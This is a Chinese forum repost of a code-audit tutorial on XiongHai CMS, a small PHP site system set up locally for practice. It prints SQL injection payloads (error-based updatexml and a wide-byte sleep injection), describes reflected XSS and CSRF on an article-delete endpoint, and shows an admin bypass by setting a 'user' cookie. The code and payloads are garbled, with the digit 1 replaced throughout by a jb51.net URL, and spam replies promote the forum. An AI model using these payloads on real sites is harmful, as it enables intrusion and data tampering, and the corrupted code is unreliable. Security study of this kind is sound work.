搜索

查看: 3085|回复: 11

[PHP] 熊海CMS代码审计漏洞分析

[复制链接]
发表于 2023-5-4 17:04:37 | 显示全部楼层 |阅读模式
Editor 2023-5-4 17:04:37 3085 11 看全部
目录
  • 前言
  • 基本结构
  • SQL注入漏洞
  • 第一处
  • 第二处
  • 第三处
  • XSS漏洞
  • 第一处
  • 第二处
  • CSRF漏洞
  • 第一处
  • 垂直越权
  • 第一处
  • 结语
    前言
    熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。作为一个早期的系统,里面代码存在许多漏洞利用点,且代码量低适合作为代码审计的入门挑战,本文就带领大家对该系统存在的漏洞进行分析。

    20230224083030014.jpg

    20230224083030014.jpg


    基本结构
    这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:
    ——admin     //后台⽂件
    ——css       //css⽂件
    ——files    //功能函数⽂件
    ——images   //图⽚
    ——index.php //主⽬录⽂件
    ——install   //安装⽂件
    ——seacmseditor  //编辑器
    ——template      //模板⽂件
    ——upload    //⽂件上传⽬录

    SQL注入漏洞


    第一处
    我们跳转到admin/files/editlink.php,分析里面的一段代码:
    $id=$_GET['id'];
    $type=$_GET['type'];
    if ($type==https://www.jb51.net/article/1){
    $query = "SELECT * FROM nav WHERE id='$id'";
    $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $nav = mysql_fetch_array($resul);
    }
    简单分析一下,我们通过GET输入id和type,之后type与https://www.jb51.net/article/1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:
    r=editcolumn&type=https://www.jb51.net/article/1&id=https://www.jb51.net/article/1'%20or%20updatexml(https://www.jb51.net/article/1,concat(0x7e,database()),https://www.jb51.net/article/1)%23
    需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

    第二处
    admin/files/editlink.php这个路径下有一段代码:
    $id=$_GET['id'];
    $query = "SELECT * FROM link WHERE id='$id'";
    $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $link = mysql_fetch_array($resul);
    这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。
    id=https://www.jb51.net/article/1'%20or%20updatexml(https://www.jb51.net/article/1,concat(0x7e,database()),https://www.jb51.net/article/1)%23

    第三处
    /file/download.php这个路径下的代码:
    $llink=addslashes($_GET['r']);
    $query = "SELECT * FROM nav WHERE link='$llink'";
    可以看到里面有addslashes函数:



    这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章:
    https://www.jb51.net/article/276349.htm
    参考大佬的payload:
    r=%df%27or%20if(https://www.jb51.net/article/1,sleep(3),https://www.jb51.net/article/1)%20%23

    XSS漏洞
    第一处
    在/file/contact.php出存在漏洞代码:
    $page=addslashes($_GET['page']);

    可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

    [img][/img]

    第二处
    在/files/content.php出,存在与第一处差不多的代码:
    $page=addslashes($_GET['page']);
    if ($page""){
    if ($pagehttps://www.jb51.net/article/1){
    $pages="第".$page."页 - ";
    }
    我们也可以向上面一样将语句传进变量里去。



    CSRF漏洞
    第一处
    这里以/admin/files/wzlist.php为例:
    $delete=$_GET['delete'];
    if ($delete""){
    $query = "DELETE FROM content WHERE id='$delete'";
    $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    echo "";
    exit;
    可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:



    我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:
    ?r=wzlist&delete=https://www.jb51.net/article/18
    之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。



    当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

    垂直越权
    第一处
    在/inc/checklogin.php中,这里只看存在漏洞的代码:
    $user=$_COOKIE['user'];
    if ($user==""){
    header("Location: ?r=login");
    exit;   
    这里直接给user的cookie值设置成admin,即可跳转管理员界面。

    结语
    今天给大家带来的是一个小型CMS的代码审计,当然该系统的漏洞远不止文中提到的这些,总的来说还是挺简单的,有兴趣的小伙伴可以自己下载源码去搭建系统
    以上就是熊海CMS代码审计漏洞分析的详细内容,更多关于熊海CMS代码审计的资料请关注知鸟论坛其它相关文章!
  • 知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 10:03:00 | 显示全部楼层
    dxf17 2023-6-29 10:03:00 看全部
    楼主发贴辛苦了,谢谢楼主分享!我觉得知鸟论坛是注册对了!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 14:37:32 | 显示全部楼层
    老橡树1 2023-6-29 14:37:32 看全部
    楼主,大恩不言谢了!知鸟论坛是最棒的!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-29 22:57:54 | 显示全部楼层
    米老鼠和蓝精鼠v 2023-6-29 22:57:54 看全部
    既然你诚信诚意的推荐了,那我就勉为其难的看看吧!知鸟论坛不走平凡路。
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-30 10:37:36 | 显示全部楼层
    123456819 2023-6-30 10:37:36 看全部
    论坛不能没有像楼主这样的人才啊!我会一直支持知鸟论坛
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-30 11:39:06 | 显示全部楼层
    向往草原403 2023-6-30 11:39:06 看全部
    这个帖子不回对不起自己!我想我是一天也不能离开知鸟论坛
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-30 14:13:34 | 显示全部楼层
    计划你大爷计j 2023-6-30 14:13:34 看全部
    楼主太厉害了!楼主,I*老*虎*U!我觉得知鸟论坛真是个好地方!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-6-30 16:28:29 | 显示全部楼层
    尘埃416 2023-6-30 16:28:29 看全部
    这东西我收了!谢谢楼主!知鸟论坛真好!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-7-1 01:09:13 | 显示全部楼层
    井底燕雀傥 2023-7-1 01:09:13 看全部
    这东西我收了!谢谢楼主!知鸟论坛真好!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    发表于 2023-7-3 15:57:39 | 显示全部楼层
    风来时狂放 2023-7-3 15:57:39 看全部
    其实我一直觉得楼主的品味不错!呵呵!知鸟论坛太棒了!
    知鸟论坛永久地址发布页:www.zn60.me
    回复

    使用道具 举报

    • 您可能感兴趣
    点击右侧快捷回复 【请勿灌水】
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则 返回列表

    RSS订阅| SiteMap| 小黑屋| 赞兔论坛
    联系邮箱E-mail:zniao@foxmail.com
    快速回复 返回顶部 返回列表